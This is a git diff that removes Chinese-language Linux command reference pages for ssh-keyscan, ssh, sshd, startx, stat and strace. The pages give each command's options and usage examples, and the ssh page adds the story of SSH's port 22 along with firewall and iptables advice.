- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ssh-keyscan.html b/linux-command.docset/Contents/Resources/Documents/c/ssh-keyscan.html deleted file mode 100644 index fcaba56675..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ssh-keyscan.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - ssh-keyscan 命令,Linux ssh-keyscan 命令详解:收集主机公钥的使用工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ssh-keyscan

-

收集主机公钥的使用工具

-

补充说明

-

ssh-keyscan命令 是一个收集大量主机公钥的使用工具。

-

语法

-
ssh-keyscan(选项)(参数)
-
-

选项

-
-4:强制使用IPv4地址;
--6:强制使用IPv6地址;
--f:从指定文件中读取“地址列表/名字列表”;
--p:指定连接远程主机的端口;
--T:指定连接尝试的超时时间;
--t:指定要创建的密钥类型;
--v:信息模式,打印调试信息。
-
-

参数

-

主机列表:指定要收集公钥的主机列表。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ssh.html b/linux-command.docset/Contents/Resources/Documents/c/ssh.html deleted file mode 100644 index 75921d37d7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ssh.html +++ /dev/null @@ -1,182 +0,0 @@ - - - - - - - - - - - ssh 命令,Linux ssh 命令详解:openssh套件中的客户端连接工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ssh

-

openssh套件中的客户端连接工具

-

补充说明

-

ssh命令 是openssh套件中的客户端连接工具,可以给予ssh加密协议实现安全的远程登录服务器。

-

语法

-
ssh(选项)(参数)
-
-

选项

-
-1:强制使用ssh协议版本1;
--2:强制使用ssh协议版本2;
--4:强制使用IPv4地址;
--6:强制使用IPv6地址;
--A:开启认证代理连接转发功能;
--a:关闭认证代理连接转发功能;
--b:使用本机指定地址作为对应连接的源ip地址;
--C:请求压缩所有数据;
--F:指定ssh指令的配置文件;
--f:后台执行ssh指令;
--g:允许远程主机连接主机的转发端口;
--i:指定身份文件;
--l:指定连接远程服务器登录用户名;
--N:不执行远程指令;
--o:指定配置选项;
--p:指定远程服务器上的端口;
--q:静默模式;
--X:开启X11转发功能;
--x:关闭X11转发功能;
--y:开启信任X11转发功能。
-
-

参数

-
    -
  • 远程主机:指定要连接的远程ssh服务器;
  • -
  • 指令:要在远程ssh服务器上执行的指令。
  • -
-

实例

-
# ssh 用户名@远程服务器地址
-ssh user1@172.24.210.101
-# 指定端口
-ssh -p 2211 root@140.206.185.170
-
-# ssh 大家族
-ssh user@ip -p22 # 默认用户名为当前用户名,默认端口为 22
-ssh-keygen # 为当前用户生成 ssh 公钥 + 私钥
-ssh-keygen -f keyfile -i -m key_format -e -m key_format # key_format: RFC4716/SSH2(default) PKCS8 PEM
-ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务器的 ~/.ssh/authorized_keys,之后可以免密登录
-
-

背后故事

-
-

英文:Tatu Ylonen
-编译:Linux中国/kenxx
-来源:https://linux.cn/article-8476-1.html

-
-

为什么 SSH(安全终端)的端口号是 22 呢,这不是一个巧合,这其中有个我(Tatu Ylonen,SSH 协议的设计者)未曾诉说的故事。

-

将 SSH 协议端口号设为 22 的故事

-

1995 年春我编写了 SSH 协议的最初版本,那时候 telnet 和 FTP 正被广泛使用。

-

当时我设计 SSH 协议想着是为了替代 telnet(端口 23)和 ftp(端口21)两个协议的,而端口 22 是空闲的。我想当然地就选择了夹在 telnet 和 ftp 的端口中间的数字。我觉得端口号虽然是个小事但似乎又存在着某种信念。但我到底要怎么拿到那个端口号呢?我未曾拥有过任何一个端口号,但我却认识几个拥有端口号的人!

-

在那时取得端口号的事情其实说来挺简单的。毕竟当时的因特网(Internet)并不是很大,是因特网爆炸的早期。端口号分配的活儿是 IANA(Internet Assigned Numbers Authority,互联网数字分配机构)干的。在那时这机构可相当于是因特网先驱 Jon PostelJoyce K. Reynolds 一般的存在。Jon 参与编写了多项主要的协议标准,例如 IP(RFC 791)、ICMP(RFC 792)和 TCP(RFC 793)等一些你应该早有耳闻的协议。

-

我可以说是敬畏 Jon 先生的,他参与编写了几乎所有主要的因特网标准文档(Internet RFC)!

-

1995 年 7 月,就在我发布 ssh-1.0 前,我发送了一封邮件给 IANA:

-
-

From ylo Mon Jul 10 11:45:48 +0300 1995
-From: Tatu Ylonen
-To: Internet Assigned Numbers Authority
-Subject: 请求取得一个端口号
-Organization: 芬兰赫尔辛基理工大学

-

亲爱的机构成员:

-

我写了个可以在不安全的网络环境中安全地从一台机器登录到另一台机器的程序。它主要是对现有的 telnet 协议以及 rlogin 协议的功能性提升和安全性改进。说的具体些,就是可以防御 IP、DNS > 或路由等欺骗行为。我打算将我的软件免费地发布在因特网上,以得到广泛地使用。

-

我希望为该软件注册一个特权端口号,要是这个端口号在 1 到 255 > 之间就更好了,这样它就可以用在名字服务器的 WKS 字段中了。

-

我在附件中附上了协议标准的草案。这个软件已经在本地运行了几个月了,我已准备在获得端口号后就发布。如果端口号分配一事安排的及时,我希望这周就将要发布的软件准备好。我目前在 beta 版测试时使用的端口号是 > 22,如果要是能够分配到这个端口,我就不用做什么更改了(目前这个端口在列表中还是空闲的)。

-

软件中服务的名称叫 ssh(系 Secure Shell 的缩写)。

-

您最真诚的,
-Tatu Ylonen

-
-

(LCTT 译注:DNS 协议中的 WKS 记录类型意即“众所周知的业务描述”,是类似于 A、MX 这样的 DNS 记录类型,用于描述某个 IP 所提供的服务,目前鲜见使用。参见: https://docs.oracle.com/cd/E19683-01/806-4077/dnsintro-154/index.html 。)

-

第二天,我就收到了 Joyce 发来的邮件:

-
-

Date: Mon, 10 Jul 1995 15:35:33 -0700
-From: jkrey@ISI.EDU
-To: ylo@cs.hut.fi
-Subject: 回复:请求取得一个端口号
-Cc: iana@ISI.EDU
-Tatu,
-我们将端口号 22 分配给 ssh 服务了,你目前是该服务的主要联系人。
-Joyce

-
-

这就搞定了!SSH 的端口正式使用 22!!!

-

1995 年 7 月 12 日上午 2 点 21 分,我给我在赫尔辛基理工大学的测试者们宣布了 SSH 的最后 beta 版本。当日下午 5 点 23 分,我给测试者们宣布了 ssh-1.0.0 版本。1995 年 7 月 12 日,下午 5 点 51 分,我将一份 SSH(安全终端)的宣告发给了 cypherpunks@toad.com 的邮件列表,此外我还将其发给了一些新闻组、邮件列表和一些在因特网上讨论相关话题的人们。

-

如何更改 SSH 服务的端口号

-

SSH 服务器是默认运行在 22 号端口上的。然而,由于某些原因需要,它也可以运行在别的端口上。比如为了方便测试使用,又比如在同一个宿主机上运行多个不同的配置。当然,极少情况下,不使用 root 权限运行它也可以,比如某些必须运行在非特权的端口的情况(端口号大于等于 1024)。

-

端口号可以在配置文件 /etc/ssh/sshd_config 中将 Port 22 更改。也可以使用 -p 选项运行 sshd。SSH 客户端和 sftp 程序也可以使用 -p 选项。

-

配置 SSH 协议穿越防火墙

-

SSH 是少数通常被许可穿越防火墙的协议之一。通常的做法是不限制出站的 SSH 连接,尤其常见于一些较小的或者比较技术型的组织中,而入站的 SSH 连接通常会限制到一台或者是少数几台服务器上。

-

出站的 SSH 连接

-

在防火墙中配置出站的 SSH 连接十分简单。如果完全限制了外发连接,那么只需要创建一个允许 TCP 端口 22 可以外发的规则即可。如果你想限制目标地址,你可以限制该规则仅允许访问你的组织放在云端的外部服务器或保护该云端的跳板服务器即可。

-

反向通道是有风险的

-

其实不限制出站的 SSH 连接虽然是可以的,但是是存在风险的,SSH 协议是支持 通道访问 的。最初的想法是在外部服务器搭建一个 SSH 服务监听来自各处的连接,将进入的连接转发到组织,并让这个连接可以访问某个内部服务器。

-

在某些场景下这当然非常的方便。开发者和系统管理员经常使用它打开一个通道以便于他们可以远程访问,比如在家里或者在旅行中使用笔记本电脑等场景。

-

然而通常来讲这些做法是违背安全策略的,跳过了防火墙管理员和安全团队保护的控制无疑是违背安全策略的,比如这些: PCI、HIPAA、NIST SP 800-53 等。它可以被黑客和外国情报机构用来在组织内留下后门。

-

CryptoAuditor 是一款可以控制通道穿过防火墙或者一组云端服务器入口的产品。该款产品可以配合 通用 SSH 密钥管理器(Universal SSH Key Manager) 来获得对 主机密钥(host keys)的访问,以在启用防火墙并阻挡未授权转发的场景中解密 SSH 会话。

-

入站的 SSH 访问

-

对于入站访问而言,这里有几点需要说一下:

-

配置防火墙,并转发所有去往 22 端口的连接只能流向到一个特定的内部网络 IP 地址或者一个 DMZ 主机。在该 IP 上运行 CryptoAuditor 或者跳板机来控制和审查所有访问该组织的连接。 -在防火墙上使用不同的端口访问不同的服务器。 -只允许使用 IPsec 协议这样的 VPN(虚拟专用网)登录后连接 SSH 服务。

-

通过 iptables 服务限制 SSH 访问

-

iptables 是一款内建在 Linux 内核的宿主防火墙。通常配置用于保护服务器以防止被访问那些未明确开启的端口。

-

如果服务器上启用了 iptables,使用下面的命令将可以允许进入的 SSH 访问,当然命令需要以 root 身份运行。

-
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
-iptables -A OUTPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT
-
-

如果你想将上述命令创建的规则持久地保存,在某些系统版本中,可使用如下命令:

-
service iptables save
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sshd.html b/linux-command.docset/Contents/Resources/Documents/c/sshd.html deleted file mode 100644 index 297dc97b11..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sshd.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - sshd 命令,Linux sshd 命令详解:openssh软件套件中的服务器守护进程 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sshd

-

openssh软件套件中的服务器守护进程

-

补充说明

-

sshd命令 是openssh软件套件中的服务器守护进程。

-

语法

-
sshd(选项)
-
-

选项

-
-4:强制使用IPv4地址;
--6:强制使用IPv6地址;
--D:以后台守护进程方式运行服务器;
--d:调试模式;
--e:将错误发送到标准错误设备,而不是将其发送到系统日志;
--f:指定服务器的配置文件;
--g:指定客户端登录时的过期时间,如果在此期限内,用户没有正确认证,则服务器断开次客户端的连接;
--h:指定读取主机key文件;
--i:ssh以inetd方式运行;
--o:指定ssh的配置选项;
--p:静默模式,没有任何信息写入日志;
--t:测试模式。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/startx.html b/linux-command.docset/Contents/Resources/Documents/c/startx.html deleted file mode 100644 index 3a6d19a1b1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/startx.html +++ /dev/null @@ -1,126 +0,0 @@ - - - - - - - - - - - startx 命令,Linux startx 命令详解:用来启动X Window - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

startx

-

用来启动X Window

-

补充说明

-

startx命令 用来启动X Window,实际上启动X Window的程序为xinit。

-

语法

-
startx(参数)
-
-

参数

-
    -
  • 客户端及选项:X客户端及选项;
  • -
  • 服务器及选项:X服务器及选项。
  • -
-

实例

-

要在工作站上或 X 终端上启动 X 会话,请输入:

-
startx
-
-

要在工作站上强制启动 X 会话,请输入: 

-
startx -w
-
-

要为 X 终端启动 X 会话,并注销用户的 telnet 会话,请输入:

-
startx; kill -9 $
-
-

要使用 .xinitrc 脚本启动 X 会话,请输入:

-
startx -x .xinitrc
-
-

要使用 mwm 窗口管理器启动 X 会话,请输入:

-
startx -m mwm
-
-

但是,如果找到启动脚本文件,则忽略-w选项。在启动脚本中,启动窗口管理器、装入X资源以及产生X客户机是用户的责任。以下是.xsession脚本的一个示例。

-
#!/bin/csh
- (mwm &)
- xrdb -load .Xdefaults
- (xclock -g 75x75+0+0 &)
- (xbiff -g 75x75+101-0 &)
- if ("/dev/lft*" == "`tty`") then
-  aixterm -g 80x24+0+0 +ut -C -T `hostname`
- else
-  aixterm -g 80x24+0+0 +ut -T `hostname`
- endif
-
-

对于工作站,startup脚本中的最后一行应该是前台aixterm命令,该命令带有-C选项表示控制台信息。对于X终端,startup脚本中的最后一行应该是不带有-C选项的前台aixterm命令。另外,由于某些X终端在关闭时不终止telnet会话,所以用户必须在使用热键切换至X会话前退出当前的telnet会话。

-

/usr/lib/X11/xdm/Xsession文件中的xdm命令也可以使用startx命令。这为xdm命令提供了startx命令的功能。

-

以下是启动X会话一贯使用的文件名。

-
$HOME/.xerrors 其中,startx 用来重定向错误消息。在缺省情况下,startx 将错误重定向至用户主目录中的 .xerrors 文件中。
-$HOME/.Xinit,  
-$HOME/.xinit,  
-$HOME/.Xinitrc,  
-$HOME/.xinitrc,  
-$HOME/.xsession 作为包含 shell 命令的“启动文件”来启动窗口管理器、装入 X 资源并产生 X 客户机。
-$HOME/.Xdefaults,  
-$HOME/.xresources 作为装入的 X 资源文件来设置 X 客户机的用户首选项。
-$HOME/.mwmrc mwm 配置文件。
-$HOME/.twmrc twm 配置文件。
-$HOME/.awmrc awm 配置文件。
-$HOME/.uwmrc uwm 配置文件。
-/dev/lft* 终端或 tty、工作站初始 login shell 的界面。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/stat.html b/linux-command.docset/Contents/Resources/Documents/c/stat.html deleted file mode 100644 index d177982910..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/stat.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - - - - - - stat 命令,Linux stat 命令详解:用于显示文件的状态信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

stat

-

用于显示文件的状态信息

-

补充说明

-

stat命令 用于显示文件的状态信息。stat命令的输出信息比ls命令的输出信息要更详细。

-

语法

-
stat(选项)(参数)
-
-

选项

-
-L:支持符号连接;
--f:显示文件系统状态而非文件状态;
--t:以简洁方式输出信息;
---help:显示指令的帮助信息;
---version:显示指令的版本信息。
-
-

参数

-

文件:指定要显示信息的普通文件或者文件系统对应的设备文件名。

-

实例

-
[root@localhost ~]# ls -l myfile
--rw-r--r-- 1 root root 0 2010-10-09 myfile
-
-[root@localhost ~]# stat myfile
-file: “myfile”
-Size: 0               Blocks: 8          IO Block: 4096   一般空文件
-Device: fd00h/64768d    Inode: 194805815   Links: 1
-Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
-Access: 2010-12-12 12:22:35.000000000 +0800
-Modify: 2010-10-09 20:44:21.000000000 +0800
-Change: 2010-10-09 20:44:21.000000000 +0800
-
-[root@localhost ~]# stat -f myfile
-File: "myfile"
-id: 0        Namelen: 255     type: ext2/ext3
-Block size: 4096       Fundamental block size: 4096
-Blocks: Total: 241555461  free: 232910771  Available: 220442547
-Inodes: Total: 249364480  Free: 249139691
-
-[root@localhost ~]# stat -t myfile
-myfile 0 8 81a4 0 0 fd00 194805815 1 0 0 1292127755 1286628261 1286628261 4096
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/strace.html b/linux-command.docset/Contents/Resources/Documents/c/strace.html deleted file mode 100644 index 382cf8743c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/strace.html +++ /dev/null @@ -1,344 +0,0 @@ - - - - - - - - - - - strace 命令,Linux strace 命令详解:跟踪系统调用和信号 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

strace

-

跟踪系统调用和信号

-

补充说明

-

strace命令 是一个集诊断、调试、统计与一体的工具,我们可以使用strace对应用的系统调用和信号传递的跟踪结果来对应用进行分析,以达到解决问题或者是了解应用工作过程的目的。当然strace与专业的调试工具比如说gdb之类的是没法相比的,因为它不是一个专业的调试器。

-

strace的最简单的用法就是执行一个指定的命令,在指定的命令结束之后它也就退出了。在命令执行的过程中,strace会记录和解析命令进程的所有系统调用以及这个进程所接收到的所有的信号值。

-

语法

-
strace  [  -dffhiqrtttTvxx  ] [ -acolumn ] [ -eexpr ] ...
-    [ -ofile ] [-ppid ] ...  [ -sstrsize ] [ -uusername ]
-    [ -Evar=val ] ...  [ -Evar  ]...
-     [command [ arg ...  ] ]
-
-strace  -c  [ -eexpr ] ...  [ -Ooverhead ] [ -Ssortby ]
-    [ command [ arg...  ] ]
-
-

选项

-
-c 统计每一系统调用的所执行的时间,次数和出错的次数等.
--d 输出strace关于标准错误的调试信息.
--f 跟踪由fork调用所产生的子进程.
--ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.
--F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
--h 输出简要的帮助信息.
--i 输出系统调用的入口指针.
--q 禁止输出关于脱离的消息.
--r 打印出相对时间关于,,每一个系统调用.
--t 在输出中的每一行前加上时间信息.
--tt 在输出中的每一行前加上时间信息,微秒级.
--ttt 微秒级输出,以秒了表示时间.
--T 显示每一调用所耗的时间.
--v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.
--V 输出strace的版本信息.
--x 以十六进制形式输出非标准字符串
--xx 所有字符串以十六进制形式输出.
--a column 设置返回值的输出位置.默认 为40.
--e expr 指定一个表达式,用来控制如何跟踪.格式:[qualifier=][!]value1[,value2]...
-qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如:-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open 表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\.
--e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
--e trace=file 只跟踪有关文件操作的系统调用.
--e trace=process 只跟踪有关进程控制的系统调用.
--e trace=network 跟踪与网络有关的所有系统调用.
--e strace=signal 跟踪所有与系统信号有关的 系统调用
--e trace=ipc 跟踪所有与进程通讯有关的系统调用
--e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.
--e raw=set 将指定的系统调用的参数以十六进制显示.
--e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.
--e read=set 输出从指定文件中读出 的数据.例如: -e read=3,5
--e write=set 输出写入到指定文件中的数据.
--o filename 将strace的输出写入文件filename
--p pid 跟踪指定的进程pid.
--s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
--u username 以username的UID和GID执行被跟踪的命令
-
-

实例

-

追踪系统调用

-

现在我们做一个很简单的程序来演示strace的基本用法。这个程序的C语言代码如下:

-
# filename test.c
-#include <stdio.h>
-
-int main()
-{
-    int a;
-    scanf("%d", &a);
-    printf("%09d\n", a);
-    return 0;
-}
-
-

然后我们用gcc -o test test.c编译一下,得到一个可执行的文件test。然后用strace调用执行:

-
strace ./test
-
-

执行期间会要求你输入一个整数,我们输入99,最后得到如下的结果:

-
// 直接执行test的结果
-oracle@orainst[orcl]:~ $./test
-
-// 执行的结果
-99
-000000099
-
-// 通过strace执行test的结果
-oracle@orainst[orcl]:~ $strace ./test
-
-// strace的trace结果
-execve("./test", ["./test"], [/* 41 vars */]) = 0
-uname({sys="Linux", node="orainst.desktop.mycompany.com", ...}) = 0
-brk(0)                                  = 0x8078000
-fstat64(3, {st_mode=S_IFREG|0644, st_size=65900, ...}) = 0
-old_mmap(NULL, 65900, PROT_READ, MAP_PRIVATE, 3, 0) = 0xbf5ef000
-close(3)                                = 0
-open("/lib/tls/libc.so.6", O_RDONLY)    = 3
-read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200X\1"..., 512) = 512
-fstat64(3, {st_mode=S_IFREG|0755, st_size=1571692, ...}) = 0
-old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ee000
-old_mmap(NULL, 1275340, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xa02000
-old_mmap(0xb34000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x132000) = 0xb34000
-old_mmap(0xb37000, 9676, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb37000
-close(3)                                = 0
-set_thread_area({entry_number:-1 -> 6, base_addr:0xbf5ee740, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
-munmap(0xbf5ef000, 65900)               = 0
-fstat64(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
-mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ff000
-read(0, 99
-"99\n", 1024)                   = 3
-fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
-mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5fe000
-write(1, "000000099\n", 10000000099
-)             = 10
-munmap(0xbf5fe000, 4096)                = 0
-exit_group(0)                           = ?
-
-

从trace结构可以看到,系统首先调用execve开始一个新的进行,接着进行些环境的初始化操作,最后停顿在”read(0,”上面,这也就是执行到了我们的scanf函数,等待我们输入数字呢,在输入完99之后,在调用write函数将格式化后的数值”000000099″输出到屏幕,最后调用exit_group退出进行,完成整个程序的执行过程。

-

跟踪信号传递

-

我们还是使用上面的那个test程序,来观察进程接收信号的情况。还是先strace ./test,等到等待输入的画面的时候不要输入任何东西,然后打开另外一个窗口,输入如下的命令

-
killall test
-
-

这时候就能看到我们的程序推出了,最后的trace结果如下:

-
oracle@orainst[orcl]:~
-$strace ./test
-
-execve("./test", ["./test"], [/* 41 vars */]) = 0
-uname({sys="Linux", node="orainst.desktop.mycompany.com", ...}) = 0
-brk(0)                                  = 0x9ae2000
-old_mmap(NULL, 65900, PROT_READ, MAP_PRIVATE, 3, 0) = 0xbf5ef000
-close(3)                                = 0
-open("/lib/tls/libc.so.6", O_RDONLY)    = 3
-read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200X\1"..., 512) = 512
-fstat64(3, {st_mode=S_IFREG|0755, st_size=1571692, ...}) = 0
-old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ee000
-old_mmap(NULL, 1275340, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x2e9000
-old_mmap(0x41b000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x132000) = 0x41b000
-old_mmap(0x41e000, 9676, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x41e000
-close(3)                                = 0
-set_thread_area({entry_number:-1 -> 6, base_addr:0xbf5ee740, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
-munmap(0xbf5ef000, 65900)               = 0
-fstat64(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
-mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ff000
-read(0, 0xbf5ff000, 1024)               = ? ERESTARTSYS (To be restarted)
---- SIGTERM (Terminated) @ 0 (0) ---
-+++ killed by SIGTERM +++
-
-

trace中很清楚的告诉你test进程”+++ killed by SIGTERM +++”。

-

系统调用统计

-

strace不光能追踪系统调用,通过使用参数-c,它还能将进程所有的系统调用做一个统计分析给你,下面就来看看strace的统计,这次我们执行带-c参数的strace:

-

strace -c ./test

-

最后能得到这样的trace结果:

-
oracle@orainst[orcl]:~
-$strace -c ./test
-
-
execve("./test", ["./test"], [/* 41 vars */]) = 0
-% time     seconds  usecs/call     calls    errors syscall
------- ----------- ----------- --------- --------- ----------------
- 45.90    0.000140           5        27        25 open
- 34.43    0.000105           4        24        21 stat64
-  7.54    0.000023           5         5           old_mmap
-  2.62    0.000008           8         1           munmap
-  1.97    0.000006           6         1           uname
-  1.97    0.000006           2         3           fstat64
-  1.64    0.000005           3         2         1 read
-  1.31    0.000004           2         2           close
-  0.98    0.000003           3         1           brk
-  0.98    0.000003           3         1           mmap2
-  0.66    0.000002           2         1           set_thread_area
------- ----------- ----------- --------- --------- ----------------
-100.00    0.000305                    68        47 total
-
-

这里很清楚的告诉你调用了那些系统函数,调用次数多少,消耗了多少时间等等这些信息,这个对我们分析一个程序来说是非常有用的。

-

常用参数说明

-

除了-c参数之外,strace还提供了其他有用的参数给我们,让我们能很方便的得到自己想要的信息,下面就对那些常用的参数一一做个介绍。

-

重定向输出

-

参数-o用在将strace的结果输出到文件中,如果不指定-o参数的话,默认的输出设备是STDERR,也就是说使用”-o filename”和” 2>filename”的结果是一样的。

-
# 这两个命令都是将strace结果输出到文件test.txt中
-strace -c -o test.txt ./test
-strace -c ./test  2>test.txt
-
-

对系统调用进行计时

-

strace可以使用参数-T将每个系统调用所花费的时间打印出来,每个调用的时间花销现在在调用行最右边的尖括号里面。

-
oracle@orainst[orcl]:~
-$strace -T ./test
-
-// 这里只摘录部分结果
-read(0, 1
-"1\n", 1024)                    = 2 <2.673455>
-fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 <0.000014>
-mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5fe000 <0.000017>
-write(1, "000000001\n", 10000000001
-)             = 10 <0.000016>
-munmap(0xbf5fe000, 4096)                = 0 <0.000020>
-exit_group(0)                           = ?
-
-

系统调用的时间

-

这是一个很有用的功能,strace会将每次系统调用的发生时间记录下来,只要使用-t/tt/ttt三个参数就可以看到效果了,具体的例子可以自己去尝试。

-

参数名 | 输出样式 | 说明 ---- | --- | --- --t | 10:33:04 exit_group(0) | 输出结果精确到秒 --tt | 10:33:48.159682 exit_group(0) | 输出结果精确到微妙 --ttt | 1262169244.788478 exit_group(0) | 精确到微妙,而且时间表示为unix时间戳

-

截断输出

-

-s参数用于指定trace结果的每一行输出的字符串的长度,下面看看test程序中-s参数对结果有什么影响,现指定-s为20,然后在read的是是很我们输入一个超过20个字符的数字串

-
strace -s 20 ./test
-
-read(0, 2222222222222222222222222      // 我们输入的2一共有25个
-"22222222222222222222"..., 1024) = 26  // 而我们看到的结果中2只有20个
-
-

trace一个现有的进程

-

strace不光能自己初始化一个进程进行trace,还能追踪现有的进程,参数-p就是取这个作用的,用法也很简单,具体如下。

-
strace -p pid
-
-

综合例子

-

说了那么多的功能和参数,现在我们来一个实用点的,就是研究下Oracle的lgwr进程,看看这个进程是不是像文档所说的那样没3s钟写一次log文件,考虑到lgwr写日志的触发条件比较多,我们需要找一个空闲的Oracle实例做这个实验。

-

我们先要得到lgwr进程的pid,运行下面的命令

-
ps -ef|grep lgwr
-
-oracle    5912     1  0 Nov12 ?        00:14:56 ora_lgwr_orcl
-
-

得到lgwr的pid是5912,现在启动strace,然后将trace的几个输出到lgwr.txt文件中,执行下面的命令

-
strace -tt -s 10 -o lgwr.txt -p 5912
-
-

过一会之后停止strace,然后查看结果。由于输出的结果比较多,为了方便我们只看Oracle写入log文件时用的pwrite函数的调用

-
grep pwrite\(20 lgwr.txt
-
-

等等,为什么grep的时候用的是”pwrite(2″呢?,因为我知道我这个机器打开的当前的log文件的句柄编号都是2开始的。具体查找方法是先使用下面的语句找出当前活动的日志文件都有哪些:

-
select member, v$log.status from v$log, v$logfile
-where v$log.group#=v$logfile.group#;
-
-

得到

-
MEMBER                                             STATUS
--------------------------------------------------- ----------------
-/db/databases/orcl/redo-01-a/redo-t01-g03-m1.log    INACTIVE
-/db/databases/orcl/redo-03-a/redo-t01-g03-m2.log    INACTIVE
-/db/databases/orcl/redo-02-a/redo-t01-g02-m1.log    CURRENT
-/db/databases/orcl/redo-04-a/redo-t01-g02-m2.log    CURRENT
-/db/databases/orcl/redo-01-a/redo-t01-g01-m1.log    INACTIVE
-/db/databases/orcl/redo-03-a/redo-t01-g01-m2.log    INACTIVE
-/db/databases/orcl/redo-02-a/redo-t01-g04-m1.log    INACTIVE
-/db/databases/orcl/redo-04-a/redo-t01-g04-m2.log    INACTIVE
-
-

然后到/proc中去找打开文件的句柄:

-
ll /proc/.5912/fd/
-
-

得到

-
lrwx------    1 oracle   dba            64 Dec 30 10:55 18 -> /db/databases/orcl/redo-01-a/redo-t01-g01-m1.log
-lrwx------    1 oracle   dba            64 Dec 30 10:55 19 -> /db/databases/orcl/redo-03-a/redo-t01-g01-m2.log
-lrwx------    1 oracle   dba            64 Dec 30 10:55 20 -> /db/databases/orcl/redo-02-a/redo-t01-g02-m1.log
-lrwx------    1 oracle   dba            64 Dec 30 10:55 21 -> /db/databases/orcl/redo-04-a/redo-t01-g02-m2.log
-lrwx------    1 oracle   dba            64 Dec 30 10:55 22 -> /db/databases/orcl/redo-01-a/redo-t01-g03-m1.log
-lrwx------    1 oracle   dba            64 Dec 30 10:55 23 -> /db/databases/orcl/redo-03-a/redo-t01-g03-m2.log
